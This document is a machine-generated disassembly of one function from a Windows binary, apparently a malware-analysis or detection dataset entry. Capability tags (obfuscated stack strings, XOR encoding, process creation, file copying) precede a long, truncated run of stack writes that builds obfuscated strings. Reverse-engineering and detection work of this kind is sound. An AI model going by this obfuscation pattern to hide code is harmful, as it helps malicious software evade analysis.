Function at 0x14000b830
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create process on windows
Encode data using xor
Get common file path
Get disk size
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x6018
call fcn.140060250
sub rsp, rax
mov eax, 0x7d0
mov word [rsp + 0xb00], ax
mov eax, 0xb63
mov word [rsp + 0xe8c], ax
movabs rax, 0x70baec6b0bba7e
mov qword [rsp + 0x31c0], rax
mov eax, 0x491
mov word [rsp + 0xc14], ax
mov eax, 0x834
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
movabs rax, 0x7d61d6513ba9a3
mov qword [rsp + 0x3648], rax
mov byte [rsp + 0x60], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov dword [rsp + 0xcbc], 0x8787
movabs rax, 0x7487511febaecd
mov qword [rsp + 0xca0], rax
mov eax, 0xebd
mov word [rsp + 0xae4], ax
mov eax, 0x1fb
mov word [rsp + 0x71c], ax
mov eax, 0x259
mov word [rsp + 0x2070], ax
mov eax, 0x15b
mov word [rsp + 0xeb0], ax
mov eax, 0x3ec
mov word [rsp + 0x6d4], ax
mov eax, ILAppendID
mov word [rsp + 0xbdc], ax
mov eax, 0x50a
mov word [rsp + 0x554], ax
mov dword [rsp + 0x47c], 0x1a7ceabd
mov dword [rsp + 0x3c8], 0x14543e5d
mov byte [rsp + 0xe41], 0x99
mov byte [rsp + 0x92e], 0x23
mov eax, 0x31d
mov word [rsp + 0x418], ax
movabs rax, 0x7cfdc53fe7a53f
mov qword [rsp + 0x3f08], rax
mov eax, 0xe7e
mov word [rsp + 0x1568], ax
mov dword [rsp + 0xad8], 0x27cb863
mov eax, 0x33f
mov word [rsp + 0x310], ax
mov byte [rsp + 0xe5], 0xb6
mov byte [rsp + 0x154], 0x59
movabs rax, 0x7913b8c1c1aa69
mov qword [rsp + 0x3e80], rax
movabs rax, 0x760cfb9818f5ba
mov qword [rsp + 0x1a08], rax
movabs rax, 0x796212eb725f73
mov qword [rsp + 0x3c10], rax
movabs rax, 0x7eed3371048ef6
mov qword [rsp + 0x2580], rax
movabs rax, 0x77bb788d601cce
mov qword [rsp + 0x3730], rax
mov byte [rsp + 0xde9], 0x32
movabs rax, 0x7b80a88fba0cc5
mov qword [rsp + 0x2d50], rax
mov byte [rsp + 0xe40], 0x16
mov eax, 0x652
mov word [rsp + 0x2064], ax
mov eax, 0x18f
mov word [rsp + 0x454], ax
movabs rax, 0x75f8e570d47f51
mov qword [rsp + 0x1528], rax
mov dword [rsp + 0xac4], 0x6846
movabs rax, 0x7def4e78212168
mov qword [rsp + 0x3368], rax
mov eax, 0x825
mov word [rsp + 0x4d8], ax
mov byte [rsp + 0x15b], 0x5f
mov dword [rsp + 0x8e8], 0xccd8
movabs rax, 0x74468dd6b405eb
mov qword [rsp + 0x2420], rax
mov eax, 0x1d0
mov word [rsp + 0x240], ax
movabs rax, 0x7273c6e00f8967
mov qword [rsp + 0x53f8], rax
mov byte [rsp + 0xfc], 0x7a
mov eax, 0x425
mov word [rsp + 0x250], ax
mov byte [rsp + 0x11c], ILIsParent
mov eax, 0x2b5
mov word [rsp + 0x19c], ax
mov eax, 0x30e
mov word [rsp + 0x1644], ax
mov eax, 0xf59
mov word [rsp + 0x378], ax
movabs rax, 0x7e853b4a888589
mov qword [rsp + 0x19f0], rax
mov dword [rsp + 0xe04], 0xf5b7
mov eax, 0x7e0
mov word [rsp + 0xe88], ax
movabs rax, 0x77a216cddc05ac
mov qword [rsp + 0x4d10], rax
mov byte [rsp + 0x157], 0x5a
movabs rax, 0x7e0f4be6570251
mov qword [rsp + 0x2c10], rax
mov eax, 0x255
mov word [rsp + 0xaa4], ax
movabs rax, 0x74ffd59740cfdc
mov qword [rsp + 0x1740], rax
mov dword [rsp + 0x13a0], 0x78e0
mov dword [rsp + 0x269c], 0x15d4df43
movabs rax, 0x7184e825849ba6
mov qword [rsp + 0x3c48], rax
mov eax, 0x565
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x2138], 0x5cc9
movabs rax, 0x718597b3111d6c
mov qword [rsp + 0x3218], rax
mov eax, 0x6e8
mov word [rsp + 0xf18], ax
movabs rax, 0x72ed9746cc4d99
mov qword [rsp + 0x39d8], rax
mov dword [rsp + 0x330], 0x77da
mov byte [rsp + 0x158], 0x5e
movabs rax, 0x7571e0e7ae40fc
mov qword [rsp + 0x3058], rax
mov byte [rsp + 0x1c5], 0x38
mov eax, 0xa18
mov word [rsp + 0x8c], ax
mov eax, 0xec1
mov word [rsp + 0x161c], ax
mov eax, ILCreateFromPathW
mov word [rsp + 0x3b0], ax
movabs rax, 0x732e2d730cb4dd
mov qword [rsp + 0x3ea0], rax
mov eax, 0x3e4
mov word [rsp + 0x6b8], ax
movabs rax, 0x7c877effbb83f8
mov qword [rsp + 0x28b8], rax
mov dword [rsp + 0x510], 0xf0b2
mov dword [rsp + 0x2770], 0x62da7e46
movabs rax, 0x7cae421f1b9ebd
mov qword [rsp + 0x50e0], rax
movabs rax, 0x768557711df51e
mov qword [rsp + 0x41b0], rax
movabs rax, 0x7c9947dd596484
mov qword [rsp + 0x29b8], rax
mov eax, 0x28
mov word [rsp + 0xaf8], ax
mov byte [rsp + 0x132], ILIsParent
movabs rax, 0x73141dac906c05
mov qword [rsp + 0x1e88], rax
mov dword [rsp + 0xb94], 0x65af8a2c
mov eax, 0x2a3
mov word [rsp + 0x174], ax
mov eax, 0x48e
mov word [rsp + 0xc00], ax
mov byte [rsp + 0x137], 0x2e
movabs rax, 0x73a04e71a4eae2
mov qword [rsp + 0x2d78], rax
mov eax, 0x724
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x9f4], 0x6b2f
mov byte [rsp + 0x3f1], 6
movabs rax, 0x7d2b384b52bce7
mov qword [rsp + 0x2c08], rax
movabs rax, 0x72f2d28be8cd5f
mov qword [rsp + 0x2f68], rax
movabs rax, 0x70cb1afa459ab5
mov qword [rsp + 0x1d90], rax
mov dword [rsp + 0x2774], 0x8be9
movabs rax, 0x73b53948ae0097
mov qword [rsp + 0x2da0], rax
movabs rax, 0x7ddd9955561651
mov qword [rsp + 0x3c70], rax
movabs rax, 0x723f3670b65fcb
mov qword [rsp + 0x2628], rax
mov dword [rsp + 0xacc], 0x5bca736f
mov byte [rsp + 0x74], 0x75
mov eax, 0x2f7
mov word [rsp + 0x714], ax
mov dword [rsp + 0x1a90], 0x60bc19a7
mov eax, 0x27c
mov word [rsp + 0xe60], ax
movabs rax, 0x758946eb2aacb2
mov qword [rsp + 0x12f0], rax
mov byte [rsp + 0xdea], 0x1d
mov eax, 0x572
mov word [rsp + 0x203c], ax
mov eax, 0x4f5
mov word [rsp + 0xe78], ax
mov byte [rsp + 0x2cf], 0x8c
mov dword [rsp + 0x34bc], 0x56a7
movabs rax, 0x79c5e874f511fa
mov qword [rsp + 0x1020], rax
movabs rax, 0x7bb37ed13dc116
mov qword [rsp + 0x2570], rax
movabs rax, 0x799d127ea7e19d
mov qword [rsp + 0x2378], rax
movabs rax, 0x781e0907e8023f
mov qword [rsp + 0x12f8], rax
movabs rax, 0x7a34904f3ddc6d
mov qword [rsp + 0x4f00], rax
movabs rax, 0x79e987c465564d
mov qword [rsp + 0x4f70], rax
mov eax, reloc.SHELL32.dll_ILIsEqual
mov word [rsp + 0xb04], ax
mov byte [rsp + 0xe55], 0x33
mov eax, 0xab
mov word [rsp + 0x98], ax
mov eax, 0xe78
mov word [rsp + 0x424], ax
mov eax, 0xb2c
mov word [rsp + 0x88c], ax
mov dword [rsp + 0x2688], 0x721452ff
movabs rax, 0x71cca9e42e78d7
mov qword [rsp + 0x2f38], rax
mov eax, 0xe98
mov word [rsp + 0x718], ax
movabs rax, 0x727372e9d5a194
mov qword [rsp + 0x10b8], rax
mov byte [rsp + 0x16f], 0x62
movabs rax, 0x7daa8fd7b509c4
mov qword [rsp + 0x4f10], rax
movabs rax, 0x7490bfa35da3c4
mov qword [rsp + 0x4088], rax
movabs rax, 0x792191c25f73f4
mov qword [rsp + 0x4b98], rax
mov eax, 0x453
mov word [rsp + 0x5d8], ax
mov byte [rsp + 0x406], 0x6a
mov dword [rsp + 0xa04], 0x562d70cc
mov dword [rsp + 0x26b4], 0x6ac7f3d2
movabs rax, 0x741e77a96f0649
mov qword [rsp + 0x19c0], rax
mov eax, 0xa9
mov word [rsp + 0x360], ax
mov byte [rsp + 0xddd], 0xa
mov eax, 0x45f
mov word [rsp + 0xef0], ax
mov dword [rsp + 0xb9c], 0xa718
mov byte [rsp + 0x11a], 0x5c
mov eax, 0x1d6
mov word [rsp + 0x3b4], ax
mov eax, 0x53a
mov word [rsp + 0xc38], ax
mov eax, 0x294
mov word [rsp + 0x894], ax
mov dword [rsp + 0xb4], 0xafe698b
mov dword [rsp + 0x2124], 0x9bc9
movabs rax, 0x77a8c77b59282d
mov qword [rsp + 0x3240], rax
mov byte [rsp + 0x3ec], 0x17
mov eax, 0x3d4
mov word [rsp + 0x314], ax
movabs rax, 0x77c1cc4b77222b
mov qword [rsp + 0x3848], rax
movabs rax, 0x703aa64ce6cbb0
mov qword [rsp + 0x28f0], rax
mov eax, 0xa0d
mov word [rsp + 0x4f4], ax
mov dword [rsp + 0x217c], 0x2f78
movabs rax, 0x7ca9d5803c9d50
mov qword [rsp + 0x17e8], rax
movabs rax, 0x74583b26108ebd
mov qword [rsp + 0x3658], rax
movabs rax, 0x76662d4f87cdec
mov qword [rsp + 0x4ce8], rax
mov eax, 0x458
mov word [rsp + 0x5c8], ax
movabs rax, 0x75d1b2ad59bd41
mov qword [rsp + 0x1900], rax
movabs rax, 0x769b8cddb4f60e
mov qword [rsp + 0x2db8], rax
mov dword [rsp + 0x694], 0xa570
movabs rax, 0x780d36ddbd43e2
mov qword [rsp + 0x2500], rax
mov eax, 0x4f8
mov word [rsp + 0x5a0], ax
movabs rax, 0x74c6d9965c84ef
mov qword [rsp + 0x31d0], rax
movabs rax, 0x750353ff9bcd2f
mov qword [rsp + 0x5030], rax
movabs rax, 0x70fe64779b053d
mov qword [rsp + 0x1170], rax
mov byte [rsp + 0x3f0], 0x2f
mov byte [rsp + 0x11b], 0x74
mov eax, 0xc2
mov word [rsp + 0xaec], ax
mov eax, 0x1af
mov word [rsp + 0x460], ax
mov dword [rsp + 0x33f8], 0xa34b
mov eax, 0x593
mov word [rsp + 0x448], ax
mov eax, 0x10f
mov word [rsp + 0x1650], ax
movabs rax, 0x7af398252ed28d
mov qword [rsp + 0x4c80], rax
mov dword [rsp + 0xe00], 0x7771b56c
mov eax, 0xc7c
mov word [rsp + 0x5d0], ax
mov eax, 0x6c1
mov word [rsp + 0xbf8], ax
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], SHGetNewLinkInfoW
movabs rax, 0x791218995cc5c0
mov qword [rsp + 0x5180], rax
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x6ec], ax
mov dword [rsp + 0x1a64], 0xf51e5e9
mov byte [rsp + 0x606], 0x6a
mov eax, 0x571
mov word [rsp + 0x84c], ax
movabs rax, 0x7d773e87f7deeb
mov qword [rsp + 0x1f38], rax
mov byte [rsp + 0x92f], 0x18
mov eax, 0x28f
mov word [rsp + 0x3ac], ax
mov dword [rsp + 0xe1c], 0xdbcb
mov byte [rsp + 0xfa], 0x2e
mov byte [rsp + 0x1bd], ILCloneFirst
mov dword [rsp + 0x13f4], 0x5b45a70d
mov byte [rsp + 0x230], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x26f4], 0x9582
mov dword [rsp + 0x275c], 0x479d7cec
movabs rax, 0x7748256aa112c5
mov qword [rsp + 0xb70], rax
movabs rax, 0x7eb5fd0e9b15eb
mov qword [rsp + 0x18b8], rax
movabs rax, 0x78f12b4759f5b0
mov qword [rsp + 0x2e38], rax
movabs rax, 0x76470daf59ccfb
mov qword [rsp + 0x500], rax
movabs rax, 0x7a670d84f7032a
mov qword [rsp + 0x14f0], rax
mov dword [rsp + 0x9f0], 0x3d491d4b
mov dword [rsp + 0x3430], 0x5a3
mov eax, 0x632
mov word [rsp + 0x1cc], ax
movabs rax, 0x76bf9c07c864db
mov qword [rsp + 0x4aa8], rax
movabs rax, 0x781cb53a82a6f5
mov qword [rsp + 0x17f8], rax
mov eax, 0xfb1
mov word [rsp + 0xe9c], ax
movabs rax, 0x775d9ab1fa6959
mov qword [rsp + 0x1848], rax
mov dword [rsp + 0x1398], 0xd645
movabs rax, 0x72a735858ea9cd
mov qword [rsp + 0x1790], rax
mov eax, 0x4e1
mov word [rsp + 0x25c], ax
mov dword [rsp + 0xdfc], 0x1d65
movabs rax, 0x7aaba042a6d5d3
mov qword [rsp + 0x3378], rax
mov dword [rsp + 0x20e8], 0x562b3bba
movabs rax, 0x713cad10a4ae49
mov qword [rsp + 0x3a78], rax
mov eax, 0x12a
mov word [rsp + 0x1d0], ax
mov dword [rsp + 0x2190], 0x95d2
mov eax, 0x636
mov word [rsp + 0x450], ax
mov byte [rsp + 0x11f], ILCloneFirst
mov byte [rsp + 0x3f4], 0x2e
mov dword [rsp + 0x1688], 0x8860
mov eax, 0xdaa
mov word [rsp + 0x8b4], ax
movabs rax, 0x770bd4d8167b2a
mov qword [rsp + 0x3750], rax
movabs rax, 0x74bd0628bdecf5
mov qword [rsp + 0x11d0], rax
mov eax, 0xc02
mov word [rsp + 0x1590], ax
mov dword [rsp + 0x1108], 0x9ea7
mov dword [rsp + 0x2698], 0x639b828f
mov eax, 0x2fb
mov word [rsp + 0xbec], ax
mov eax, 0x551
mov word [rsp + 0x58c], ax
mov dword [rsp + 0x1a60], 0x7dfb3ed4
mov byte [rsp + 0x2d1], 0x2f
mov eax, 0xddf
mov word [rsp + 0x39c], ax
mov eax, 0x36c
mov word [rsp + 0x72c], ax
mov eax, 0x629
mov word [rsp + 0xbfc], ax
movabs rax, 0x7a456017d8f63f
mov qword [rsp + 0x1540], rax
mov dword [rsp + 0x1a7c], 0x4a4018c
mov eax, 0x2fe
mov word [rsp + 0x1e28], ax
movabs rax, 0x75a907c7c16398
mov qword [rsp + 0x40f8], rax
mov dword [rsp + 0x684], 0x2df9
mov byte [rsp + 0xdde], 0x1b
mov eax, 0x319
mov word [rsp + 0x6dc], ax
movabs rax, 0x775b67c1b8cf6f
mov qword [rsp + 0x4bb0], rax
mov byte [rsp + 0x130], 0xce
mov byte [rsp + 0xea], 0x5a
mov eax, 0x1f6
mov word [rsp + 0xe90], ax
mov byte [rsp + 0x919], 0x4b
mov byte [rsp + 0x22e], 0x3b
mov eax, 0x47
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x582], 0x6b
mov byte [rsp + 0x932], 9
mov dword [rsp + 0x11a4], 0x42608bb4
mov eax, 0x19b
mov word [rsp + 0xea4], ax
mov byte [rsp + 0x57a], 0x78
mov dword [rsp + 0x1388], 0x45ca
mov eax, 0x65b
mov word [rsp + 0x45c], ax
mov dword [rsp + 0x1984], 0x1a23
movabs rax, 0x7d2a4cfe2a9839
mov qword [rsp + 0x23f8], rax
movabs rax, 0x75bab83d49a692
mov qword [rsp + 0x2e08], rax
movabs rax, 0x7b09a895e42c37
mov qword [rsp + 0x25f8], rax
mov dword [rsp + 0x1ab8], 0x10337497
movabs rax, 0x77e2f923b101dd
mov qword [rsp + 0x1748], rax
mov byte [rsp + 0x916], 0x2d
movabs rax, 0x72512cff7e9bb2
mov qword [rsp + 0x2348], rax
mov byte [rsp + 0x1c3], 0x73
mov byte [rsp + 0x10c], 0x39
mov dword [rsp + 0x8f8], 0xef6
mov dword [rsp + 0x10d4], 0x6d16
mov dword [rsp + 0x11b4], 0xa2c
mov byte [rsp + 0x171], 0x6f
movabs rax, 0x776e0026d71465
mov qword [rsp + 0x3a68], rax
movabs rax, 0x72c520018fc301
mov qword [rsp + 0xc90], rax
mov byte [rsp + 0x60b], 0xcf
mov dword [rsp + 0xba0], 0x74ee
movabs rax, 0x786eae07022ace
mov qword [rsp + 0x4ab8], rax
mov eax, 0x39c
mov word [rsp + 0x6e8], ax
movabs rax, 0x778dc800d7d3dc
mov qword [rsp + 0xd18], rax
mov eax, 0xcc6
mov word [rsp + 0x5d4], ax
movabs rax, 0x76e75d265452c8
mov qword [rsp + 0x5238], rax
mov dword [rsp + 0x79c], 0xec8d
mov dword [rsp + 0x10e0], 0x5a44e995
mov eax, 0x117
mov word [rsp + 0x1638], ax
movabs rax, 0x73eb7e53b666b5
mov qword [rsp + 0x3e30], rax
mov eax, 0xce1
mov word [rsp + 0x15c8], ax
mov dword [rsp + 0x210c], 0x2de65a52
mov byte [rsp + 0x3f2], 0x7a
mov eax, 0x58a
mov word [rsp + 0xc0], ax
movabs rax, 0x7aacf82aa7bd76
mov qword [rsp + 0x1140], rax
mov eax, 0x14d
mov word [rsp + 0x157c], ax
movabs rax, 0x70fc54a91524f7
mov qword [rsp + 0x950], rax
mov eax, 0x330
mov word [rsp + 0x1e24], ax
mov eax, ILRemoveLastID
mov word [rsp + 0x4ac], ax
mov byte [rsp + 0x609], 0xf1
mov eax, 0xacf
mov word [rsp + 0x938], ax
mov byte [rsp + 0x580], 0x1e
movabs rax, 0x7ac92082831e07
mov qword [rsp + 0x1808], rax
movabs rax, 0x77361d04fcfc6b
mov qword [rsp + 0x3c98], rax
mov dword [rsp + 0x13f8], 0x7746f6f0
movabs rax, 0x7bca6f1ce11844
mov qword [rsp + 0x3850], rax
movabs rax, 0x7362b57799fd15
mov qword [rsp + 0x3298], rax
movabs rax, 0x7a9535e860639a
mov qword [rsp + 0x1b28], rax
mov byte [rsp + 0x918], 0x32
mov eax, 0x781
mov word [rsp + 0x54], ax
mov eax, 0x484
mov word [rsp + 0x88], ax
mov dword [rsp + 0x111c], 0xe95b
movabs rax, 0x7beb4a062e3c6f
mov qword [rsp + 0x3f98], rax
movabs rax, 0x75cda23517a6e2
mov qword [rsp + 0x22e8], rax
mov eax, 0x6ba
mov word [rsp + 0xab4], ax
mov eax, 0x653
mov word [rsp + 0x890], ax
mov eax, 0xb30
mov word [rsp + 0x26c], ax
mov dword [rsp + 0x1abc], 0xb636
mov dword [rsp + 0x1978], 0x1e738edd
mov eax, 0xde
mov word [rsp + 0x159c], ax
mov dword [rsp + 0x2730], 0x53087e65
mov eax, 0xfe1
mov word [rsp + 0x730], ax
movabs rax, 0x7034e71b4f006b
mov qword [rsp + 0x1878], rax
mov eax, 0xa84
mov word [rsp + 0x564], ax
mov dword [rsp + 0x1120], 0x47fe
mov eax, 0x867
mov word [rsp + 0x160], ax
mov dword [rsp + 0x21ac], 0x5da8
mov eax, 0x6c5
mov word [rsp + 0xf20], ax
movabs rax, 0x7b128cc8911f72
mov qword [rsp + 0x1920], rax
mov dword [rsp + 0x34a8], 0x63c035b4
movabs rax, 0x79c03db8701937
mov qword [rsp + 0x1c88], rax
mov eax, 0x2f9
mov word [rsp + 0xf24], ax
mov eax, 0xd92
mov word [rsp + 0x2058], ax
movabs rax, 0x7bd0bdc6af12b5
mov qword [rsp + 0x3a48], rax
mov byte [rsp + 0xf6], 0
mov byte [rsp + 0x9c], 0x5c
mov dword [rsp + 0x271c], 0x7ae4
mov byte [rsp + 0x90f], 0x76
movabs rax, 0x7ab4b6c6d45239
mov qword [rsp + 0x2a28], rax
mov byte [rsp + 0x608], 0x4c
mov eax, 0xbfe
mov word [rsp + 0xaac], ax
mov byte [rsp + 0x2d2], 0x35
movabs rax, 0x771cef229e211b
mov qword [rsp + 0x3698], rax
mov eax, 0xfb2
mov word [rsp + 0xef4], ax
mov eax, 0x1d0
mov word [rsp + 0x87c], ax
movabs rax, 0x787f25b220a5ca
mov qword [rsp + 0x2008], rax
movabs rax, 0x73d59578847715
mov qword [rsp + 0x1348], rax
movabs rax, 0x736920ddc2677d
mov qword [rsp + 0x18a8], rax
movabs rax, 0x78cbd228aee3f1
mov qword [rsp + 0x5018], rax
movabs rax, 0x73e98333cad1f1
mov qword [rsp + 0x29e0], rax
mov byte [rsp + 0x54d], 0x1b
mov byte [rsp + 0x921], 0x7a
movabs rax, 0x7517cd04003837
mov qword [rsp + 0x32b0], rax
mov eax, 0xac5
mov word [rsp + 0x1604], ax
movabs rax, 0x7c236483e9bd2f
mov qword [rsp + 0x31f8], rax
mov dword [rsp + 0x1a68], 0x2727
mov eax, 0x22f
mov word [rsp + 0x21fc], ax
movabs rax, 0x7cdb3f91381496
mov qword [rsp + 0x3b30], rax
movabs rax, 0x7730f2d3fc71f4
mov qword [rsp + 0x39c0], rax
mov eax, 0xbad
mov word [rsp + 0x2068], ax
mov eax, 0x2fe
mov word [rsp + 0x55c], ax
mov eax, 0x70d
mov word [rsp + 0x1e18], ax
movabs rax, 0x7b172aaab1f649
mov qword [rsp + 0x2f98], rax
movabs rax, 0x7a1f72c3d45b31
mov qword [rsp + 0x14d0], rax
mov eax, 0x446
mov word [rsp + 0x364], ax
mov eax, 0xb51
mov word [rsp + 0x394], ax
movabs rax, 0x78e7d1dd8e75b0
mov qword [rsp + 0x38f0], rax
mov eax, 0x661
mov word [rsp + 0x2220], ax
mov eax, 0x178
mov word [rsp + 0xb14], ax
mov eax, 0x1cf
mov word [rsp + 0x8b8], ax
mov dword [rsp + 0x3468], 0x4ea9
mov dword [rsp + 0x27f0], 0x700c
mov eax, 0xf80
mov word [rsp + 0x5cc], ax
mov eax, 0x8f5
mov word [rsp + 0x898], ax
mov dword [rsp + 0x2690], 0x1c33eeea
mov eax, 0x275
mov word [rsp + 0xb1c], ax
movabs rax, 0x7840be5b95d023
mov qword [rsp + 0x2e18], rax
mov eax, 0x3c4
mov word [rsp + 0x4b8], ax
mov eax, 0xfb
mov word [rsp + 0x2038], ax
mov eax, 0x5ea
mov word [rsp + 0x3a8], ax
mov dword [rsp + 0x2720], 0xd720
mov eax, 0x378
mov word [rsp + 0x64], ax
mov eax, 0x933
mov word [rsp + 0x4d4], ax
movabs rax, 0x71bdc9402b164f
mov qword [rsp + 0x3a50], rax
movabs rax, 0x7625ba346ad3e3
mov qword [rsp + 0x3828], rax
mov eax, 0xa9b
mov word [rsp + 0x5dc], ax
movabs rax, 0x798247ae7e1d36
mov qword [rsp + 0x37e8], rax
mov dword [rsp + 0x348], 0x8db6
movabs rax, 0x75d2a781617f68
mov qword [rsp + 0x2eb0], rax
movabs rax, 0x7a8db0aed84d34
mov qword [rsp + 0x38a8], rax
mov eax, 0x371
mov word [rsp + 0x140], ax
mov eax, 0x194
mov word [rsp + 0xbf0], ax
mov byte [rsp + 0x913], 0x27
movabs rax, 0x722bfbc185ee3f
mov qword [rsp + 0xc78], rax
movabs rax, 0x7355b6bed892ac
mov qword [rsp + 0x1708], rax
mov byte [rsp + 0xe3c], 0x26
mov dword [rsp + 0xbbc], 0xa875
mov byte [rsp + 0x3f9], 0x9d
mov eax, 0x74b
mov word [rsp + 0xf04], ax
movabs rax, 0x76121f0f8e7b7f
mov qword [rsp + 0x1c58], rax
mov eax, 0xbca
mov word [rsp + 0x458], ax
mov eax, 0xbd1
mov word [rsp + 0xec4], ax
movabs rax, 0x777c56b64804a1
mov qword [rsp + 0x3988], rax
mov byte [rsp + 0x54e], 0xb5
movabs rax, 0x77a10b585c3151
mov qword [rsp + 0x1d98], rax
mov dword [rsp + 0x1968], 0x12410d73
mov dword [rsp + 0x2120], 0x162ddbaa
mov byte [rsp + 0x22a], 0x42
mov byte [rsp + 0x936], 0x75
mov dword [rsp + 0x3484], 0xede8
mov dword [rsp + 0x34d0], 0x7bdfcab3
movabs rax, 0x77752c884304b5
mov qword [rsp + 0x4c70], rax
movabs rax, 0x73a58e331a84fc
mov qword [rsp + 0x3c60], rax
movabs rax, 0x7ef60ac7463994
mov qword [rsp + 0x1070], rax
mov dword [rsp + 0x344c], 0xba30
mov eax, 0x780
mov word [rsp + 0x388], ax
movabs rax, 0x75b20add7478ad
mov qword [rsp + 0x16c8], rax
mov dword [rsp + 0x1a50], 0x82e1
mov eax, 0x2f0
mov word [rsp + 0x350], ax
mov dword [rsp + 0x3438], 0x4a181ff1
movabs rax, 0x7732ca49e1d716
mov qword [rsp + 0x28f8], rax
movabs rax, 0x7bd57a324cf34a
mov qword [rsp + 0x1f08], rax
movabs rax, 0x7a43430b163b00
mov qword [rsp + 0x4d20], rax
movabs rax, 0x77a3ba1c2e27cf
mov qword [rsp + 0x2798], rax
mov byte [rsp + 0x2d0], 0x4c
mov dword [rsp + 0x2684], 0x5729
mov dword [rsp + 0xce8], 0xe9d4
mov dword [rsp + 0x2814], 0xce02
movabs rax, 0x7e054862e0d4f0
mov qword [rsp + 0x3b60], rax
mov eax, 0xb5c
mov word [rsp + 0x5e8], ax
mov eax, 0x511
mov word [rsp + 0xf0c], ax
mov byte [rsp + 0x3fd], 0x29
movabs rax, 0x7d8c66ea328f98
mov qword [rsp + 0x4ee8], rax
movabs rax, 0x779f958659b815
mov qword [rsp + 0x3b58], rax
mov eax, 0xe46
mov word [rsp + 0x84], ax
mov dword [rsp + 0x2198], 0xd1ad
mov byte [rsp + 0xdec], 0x38
movabs rax, 0x7e3962f1e0ceb4
mov qword [rsp + 0x2d08], rax
mov eax, 0x3c
mov word [rsp + 0x1e30], ax
movabs rax, 0x7b85b1c34234f8
mov qword [rsp + 0x3d60], rax
mov eax, 0x19b
mov word [rsp + 0x2200], ax
mov byte [rsp + 0x1bc], 0x69
mov byte [rsp + 0xe46], 4
mov eax, 0x180
mov word [rsp + 0x370], ax
movabs rax, 0x77b055fa0505f5
mov qword [rsp + 0x51d8], rax
mov eax, 0x397
mov word [rsp + 0xeb8], ax
mov eax, 0x39d
mov word [rsp + 0x6b0], ax
mov eax, 0x40
mov word [rsp + 0x144], ax
movabs rax, 0x719346fb814e08
mov qword [rsp + 0x1188], rax
mov dword [rsp + 0x34c4], 0x5889
mov eax, 0x8b3
mov word [rsp + 0xef8], ax
mov eax, 0x9f
mov word [rsp + 0x290], ax
mov byte [rsp + 0x91a], 0x3a
mov dword [rsp + 0x7ac], 0x107a
mov byte [rsp + 0xb0], 0x73
mov dword [rsp + 0x2740], 0x24abfff4
mov eax, 0x345
mov word [rsp + 0x5b8], ax
mov byte [rsp + 0xfb], 0x28
mov eax, 0xa4a
mov word [rsp + 0xe58], ax
mov eax, 0x836
mov word [rsp + 0x4b4], ax
mov dword [rsp + 0x280c], 0x7aa6
mov eax, 0x32f
mov word [rsp + 0x49c], ax
mov eax, 0x2f7
mov word [rsp + 0x244], ax
mov eax, 0x81f
mov word [rsp + 0xe68], ax
mov byte [rsp + 0x10e], 0x30
movabs rax, 0x7b0966cbf8e7e9
mov qword [rsp + 0x14a8], rax
mov eax, 0x67d
mov word [rsp + 0x220], ax
mov dword [rsp + 0x3414], 0x7c8d
mov eax, 0x279
mov word [rsp + 0xae0], ax
movabs rax, 0x7bea59247c3c1f
mov qword [rsp + 0x3d08], rax
mov eax, 0x4cd
mov word [rsp + 0x202c], ax
mov byte [rsp + 0xde8], 0x16
mov byte [rsp + 0xde3], 0xe5
movabs rax, 0x75859b40c7354e
mov qword [rsp + 0x12a8], rax
movabs rax, 0x76c0df46f9e579
mov qword [rsp + 0x3ed8], rax
movabs rax, 0x743d9d6c82b628
mov qword [rsp + 0x978], rax
movabs rax, 0x76094ef6ef1872
mov qword [rsp + 0x1ae0], rax
mov eax, 0x2e9
mov word [rsp + 0x494], ax
mov byte [rsp + 0xe8], 0x72
mov dword [rsp + 0x13a8], 0x4e351b3f
mov eax, 0xa29
mov word [rsp + 0xafc], ax
mov eax, 0x2be
mov word [rsp + 0x2c4], ax
mov eax, 0xd0
mov word [rsp + 0x15d8], ax
mov dword [rsp + 0x2708], 0x5956
movabs rax, 0x7eade63edabc35
mov qword [rsp + 0x5228], rax
movabs rax, 0x753c62aeaff7e7
mov qword [rsp + 0x3770], rax
mov byte [rsp + 0x927], 0x40
movabs rax, 0x7e6d2f041e9ae0
mov qword [rsp + 0x36e0], rax
mov dword [rsp + 0x341c], 0x54e0
mov byte [rsp + 0x138], ILAppendID
movabs rax, 0x7ad2cbd28e148c
mov qword [rsp + 0x3f48], rax
movabs rax, 0x7b41069c4d9228
mov qword [rsp + 0x4b60], rax
mov byte [rsp + 0xde0], 0x5b
mov eax, 0x1e2
mov word [rsp + 0x2238], ax
movabs rax, 0x72cafeb9a83134
mov qword [rsp + 0x2848], rax
mov eax, 0xfb
mov word [rsp + 0xf08], ax
mov eax, 0xd6c
mov word [rsp + 0x4dc], ax
mov eax, 0x2a3
mov word [rsp + 0x4f0], ax
mov eax, 0x6d2
mov word [rsp + 0x165c], ax
mov eax, 0x513
mov word [rsp + 0x2078], ax
mov eax, 0x8e0
mov word [rsp + 0x2204], ax
movabs rax, 0x7d71602bf0503f
mov qword [rsp + 0x4cc8], rax
mov dword [rsp + 0xcf8], 0x40b75913
mov byte [rsp + 0x108], 0x37
mov byte [rsp + 0x90c], 0x94
movabs rax, 0x7eb3229986499a
mov qword [rsp + 0x3ba8], rax
mov dword [rsp + 0x26cc], 0xdda3
mov byte [rsp + 0x935], 0x51
mov eax, 0xc3c
mov word [rsp + 0x550], ax
mov eax, 0xb32
mov word [rsp + 0x380], ax
mov dword [rsp + 0x3454], 0x5fd46413
mov eax, 0x3de
mov word [rsp + 0xaf0], ax
mov eax, 0xbc9
mov word [rsp + 0x13c], ax
movabs rax, 0x7be6751c586fd4
mov qword [rsp + 0x3da0], rax
mov dword [rsp + 0x1a40], 0x1662
mov byte [rsp + 0xe7], 0xd2
movabs rax, 0x75851beea12581
mov qword [rsp + 0x3ad8], rax
mov dword [rsp + 0x1970], 0x4a7d752c
mov byte [rsp + 0x2e0], 0x47
mov eax, 0xc68
